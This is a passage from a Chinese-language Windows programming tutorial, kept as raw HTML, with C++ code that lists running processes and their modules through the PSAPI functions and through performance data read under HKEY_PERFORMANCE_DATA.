sizeof(szName));<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;processItem.SetProcessName(szName);&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mProcList.AddTail(processItem);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;CloseHandle(hProcess);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;return TRUE;<br>}<br><br>BOOL CPSApiSpy::BuildModuleList(CProcessItem&amp; inProcess)<br>{<br>&nbsp;&nbsp;&nbsp;&nbsp;// 根据PID打开该进程，获得一个进程操作句柄<br>&nbsp;&nbsp;&nbsp;&nbsp;HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;FALSE, inProcess.GetProcessId());<br>&nbsp;&nbsp;&nbsp;&nbsp;if (hProcess)<br>&nbsp;&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;HMODULE modules[1024];<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;DWORD&nbsp;&nbsp; needed;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// 枚举当前进程调用的所有模块<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (EnumProcessModules(hProcess, modules, sizeof(modules), &amp;needed))<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;char szName[MAX_PATH] = "";<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;inProcess.CleanupModuleList();<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;DWORD actualModuleCount = needed / sizeof(DWORD);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// 获得各个模块文件的全路径<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for (DWORD i = 1; i &lt; actualModuleCount; i++)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;GetModuleFileNameEx(hProcess, modules[i], szName, sizeof(szName));<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;inProcess.AddModuleItem(szName);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;CloseHandle(hProcess);<br>&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;return TRUE;<br>}<br><br>注：PSAPI函数在Psapi.dll中实现。程序开发中，我们需要包含头文件Psapi.h，连接库文件Psapi.lib。这些文件在安装了微软的Platform SDK后就可获得。<br><br>方法三：利用系统收集的性能数据（Performance Data）<br>这也是一种Windows NT/2000下的方法。首先，我们需要介绍一些关于性能监视（Performance Monitoring）的背景知识。<br><br>所
谓性能监视，实际上是Windows
NT/2000提供的一种系统功能，它能实时采集、分析系统内的应用程序、服务、驱动程序等的性能数据，以此来分析系统的瓶颈、监视组件的表现，最终帮助
用户进行系统的合理调配。这里，还要引入一个性能对象（Performance
Object）的概念，即被监视者。一般系统中的性能对象包括处理器（Processor）、进程（Process）、线程（Thread）、网络通讯
（如TCP、UDP、ICMP、IP等）、系统服务（如ACS/RSVP
Service）等。（本文我们关心的是进程，即名为&#8220;Process&#8221;的对象。）下面，我们给出系统性能数据的结构参考图：<br><img style="cursor: pointer;" onclick="javascript:window.open(this.src);" alt="" onload="javascript:if(this.width>500){this.resized=true;this.style.width=500;}" src="http://www.vchelp.net/ASP/ibr_upload/1145.jpg" src_cetemp="http://www.vchelp.net/ASP/ibr_upload/1145.jpg"><br>图2 系统性能数据的结构 <br><br>性
能对象有两种：一种只支持一个实例，另一种支持多个实例。（我们关心的进程对象支持多个实例，而每个实例对应系统中的一个进程。）一个对象可以有多个性能
指标；每个性能指标都用一个计数器（Counter）来记录。就进程对象而言，它拥有的计数器种类包括ID
Process（进程的PID）、Thread Count（线程数）、Priority Base（进程优先级）、IO Read
Bytes/sec（每秒IO读取字节数）、IO Writer Bytes/sec（每秒IO写出字节数）等。（本文我们只关心ID
Process计数器的值。）<br><br>支持单一实例的对象数据结构如下（也就是图2中各个对象数据块的展开形式）：<br><img style="cursor: pointer;" onclick="javascript:window.open(this.src);" alt="" onload="javascript:if(this.width>500){this.resized=true;this.style.width=500;}" src="http://www.vchelp.net/ASP/ibr_upload/1146.jpg" src_cetemp="http://www.vchelp.net/ASP/ibr_upload/1146.jpg"><br>图3 支持单一实例的对象数据结构<br><br>支持多实例的对象数据结构如下（增加了各个实例的定义部分）：<br><img style="cursor: pointer;" onclick="javascript:window.open(this.src);" alt="" onload="javascript:if(this.width>500){this.resized=true;this.style.width=500;}" src="http://www.vchelp.net/ASP/ibr_upload/1147.jpg" src_cetemp="http://www.vchelp.net/ASP/ibr_upload/1147.jpg"><br>图4 支持多实例的对象数据结构<br><br>知
道了性能数据结构，接下去我们怎么来读取它们呢？最基本的方法就是通过注册表函数，如RegOpenKeyEx、RegQueryValueEx、
RegCloseKey等。值得注意的是，这里虽然使用的是注册表函数，但性能数据并不存储在注册表数据库中；读取性能数据时调用函数
RegOpenKeyEx，主键值应该是HKEY_PERFORMANCE_DATA。而当性能数据获得之后，根据各部分数据结构的定义，计算偏移量，我
们就能获取我们感兴趣的数据了。<br><br>我们的演示程序提供了完整的代码实现：<br>#define INITIAL_SIZE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;51200<br>#define EXTEND_SIZE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 25600<br>#define REGKEY_PERF&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; _T("Software\\Microsoft\\Windows NT\\Currentversion\\Perflib")<br>#define REGSUBKEY_COUNTERS&nbsp;&nbsp;_T("Counters")<br>#define PROCESS_COUNTER&nbsp;&nbsp;&nbsp;&nbsp; _T("process")<br>#define PROCESSID_COUNTER&nbsp;&nbsp; _T("id process")<br><br>BOOL CPerformanceSpy::BuildProcessList(void)<br>{<br>&nbsp;&nbsp;&nbsp;&nbsp;// 步骤一：从特定的注册表路径下获取系统中所有的对象、计数器的名字<br>&nbsp;&nbsp;&nbsp;&nbsp;LANGID lid = MAKELANGID(LANG_ENGLISH, SUBLANG_NEUTRAL);<br>&nbsp;&nbsp;&nbsp;&nbsp;TCHAR&nbsp;&nbsp;szSubKey[1024];<br>&nbsp;&nbsp;&nbsp;&nbsp;_stprintf(szSubKey, _T("%s\\%03x"), REGKEY_PERF, lid);<br>&nbsp;&nbsp;&nbsp;&nbsp;HKEY&nbsp;&nbsp;hSubKey;<br>&nbsp;&nbsp;&nbsp;&nbsp;DWORD rt = RegOpenKeyEx(HKEY_LOCAL_MACHINE, szSubKey, 0, <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;KEY_READ, &amp;hSubKey);<br>&nbsp;&nbsp;&nbsp;&nbsp;if (rt != ERROR_SUCCESS)<br>&nbsp;&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return FALSE;<br>&nbsp;&nbsp;&nbsp;&nbsp;}<br><br>&nbsp;&nbsp;&nbsp;&nbsp;DWORD&nbsp;&nbsp;dwType = 0;<br>&nbsp;&nbsp;&nbsp;&nbsp;DWORD&nbsp;&nbsp;dwSize = 0;<br>&nbsp;&nbsp;&nbsp;&nbsp;LPBYTE buffer = NULL;<br>&nbsp;&nbsp;&nbsp;&nbsp;BOOL&nbsp;&nbsp; pass = FALSE;<br>&nbsp;&nbsp;&nbsp;&nbsp;// 获得装载所有计数器名字的缓冲大小<br>&nbsp;&nbsp;&nbsp;&nbsp;rt = RegQueryValueEx(hSubKey, REGSUBKEY_COUNTERS, NULL,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&amp;dwType, NULL, &amp;dwSize);<br>&nbsp;&nbsp;&nbsp;&nbsp;if (rt == ERROR_SUCCESS)<br>&nbsp;&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;buffer = (LPBYTE) malloc(dwSize);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;memset(buffer, 0, dwSize);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;rt = RegQueryValueEx(hSubKey, REGSUBKEY_COUNTERS, NULL,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&amp;dwType, buffer, &amp;dwSize);<br>&nbsp;&nbsp;&nbsp;&nbsp;}<br><br>&nbsp;&nbsp;&nbsp;&nbsp;LPSTR&nbsp;&nbsp;p, p2;<br>&nbsp;&nbsp;&nbsp;&nbsp;DWORD&nbsp;&nbsp;dwProcessIdTitle; <br>&nbsp;&nbsp;&nbsp;&nbsp;DWORD&nbsp;&nbsp;dwProcessIdCounter; <br>&nbsp;&nbsp;&nbsp;&nbsp;PPERF_DATA_BLOCK&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pPerf;<br>&nbsp;&nbsp;&nbsp;&nbsp;PPERF_OBJECT_TYPE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;pObj;<br>&nbsp;&nbsp;&nbsp;&nbsp;PPERF_INSTANCE_DEFINITION&nbsp;&nbsp;&nbsp;&nbsp;pInst;<br>&nbsp;&nbsp;&nbsp;&nbsp;PPERF_COUNTER_BLOCK&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;pCounter;<br>&nbsp;&nbsp;&nbsp;&nbsp;PPERF_COUNTER_DEFINITION&nbsp;&nbsp;&nbsp;&nbsp; pCounterDef;<br>&nbsp;&nbsp;&nbsp;&nbsp;if (rt == ERROR_SUCCESS)<br>&nbsp;&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;pass = TRUE;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// 步骤二：查找名为&#8220;Process&#8221;的对象以及名为&#8220;ID Process&#8221;的计数器<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// 获取它们的索引值（因为对象、计数器在性能数据中是靠索引来标识的）<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;p = (LPSTR) buffer;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;while (*p) <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (p &gt; (LPSTR) buffer) <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for (p2 = p - 2; _istdigit(*p2); p2--)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (_tcsicmp(p, PROCESS_COUNTER) == 0)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// 获取&#8220;Process&#8221;对象的索引<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for (p2 = p - 2; _istdigit(*p2); p2--) <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;_tcscpy(szSubKey, p2+1);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;} <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else if (stricmp(p, PROCESSID_COUNTER) == 0) <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// 获取&#8220;ID Process&#8221;计数器的索引<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for (p2 = p - 2; _istdigit(*p2); p2--) <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;; <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dwProcessIdTitle = atol(p2 + 1);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// Point to the next string<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;p += (_tcslen(p) + 1);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// 步骤三：获取进程对象的所有性能数据<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;free(buffer);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;buffer = NULL;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dwSize = INITIAL_SIZE;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;buffer = (LPBYTE) malloc(dwSize);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;memset(buffer, 0, dwSize);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;while (pass)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;rt = RegQueryValueEx(HKEY_PERFORMANCE_DATA, szSubKey, NULL,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&amp;dwType, buffer, &amp;dwSize);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;pPerf = (PPERF_DATA_BLOCK) buffer;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// 性能数据块开头以四个字符&#8220;PERF&#8221;标识<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if ((rt == ERROR_SUCCESS) &amp;&amp; (dwSize &gt; 0) &amp;&amp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;pPerf-&gt;Signature[0] == (WCHAR)'P' &amp;&amp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;pPerf-&gt;Signature[1] == (WCHAR)'E' &amp;&amp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;pPerf-&gt;Signature[2] == (WCHAR)'R' &amp;&amp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;pPerf-&gt;Signature[3] == (WCHAR)'F')<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// 如果缓冲不够大，扩大缓冲后再试<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (rt == ERROR_MORE_DATA)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dwSize += EXTEND_SIZE;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;buffer&nbsp;&nbsp;= (LPBYTE) realloc(buffer, dwSize );<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;memset(buffer, 0, dwSize );<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;pass = FALSE;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;}<br><br>&nbsp;&nbsp;&nbsp;&nbsp;if (pass)<br>&nbsp;&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;pObj = (PPERF_OBJECT_TYPE) ((DWORD)pPerf + pPerf-&gt;HeaderLength);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// 步骤四：在进程对象数据的计数器定义部分寻找&#8220;ID Process&#8221;计数器 <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;pCounterDef = (PPERF_COUNTER_DEFINITION) ((DWORD)pObj + pObj-&gt;HeaderLength); <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for (DWORD i = 0; i &lt; (DWORD)pObj-&gt;NumCounters; i++) <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{ <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (pCounterDef-&gt;CounterNameTitleIndex == dwProcessIdTitle) <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{ <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dwProcessIdCounter = pCounterDef-&gt;CounterOffset; <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break; <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;} <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;pCounterDef++; <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;} <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// 步骤五：遍历所有实例，获取实例的名字（即进程名）以及PID<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;TCHAR&nbsp;&nbsp;szProcessName[MAX_PATH];<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;pInst = (PPERF_INSTANCE_DEFINITION) ((DWORD)pObj + pObj-&gt;DefinitionLength);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for (i = 0; i &lt; (DWORD)pObj-&gt;NumInstances; i++)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// 获取进程名<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;p&nbsp;&nbsp;= (LPSTR) ((DWORD)pInst + pInst-&gt;NameOffset);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;rt = WideCharToMultiByte(CP_ACP, 0, (LPCWSTR)p, -1, szProcessName,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sizeof(szProcessName), NULL, NULL);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// 获取进程PID<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;pCounter = (PPERF_COUNTER_BLOCK) ((DWORD)pInst + pInst-&gt;ByteLength);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;DWORD processId = *((LPDWORD) ((DWORD)pCounter + dwProcessIdCounter));<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (strcmp(szProcessName, "System") &amp;&amp; processId)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;CProcessItem&nbsp;&nbsp;processItem;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;processItem.SetProcessId(processId);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;processItem.SetProcessName(szProcessName);&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mProcList.AddTail(processItem);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// Point to the next process 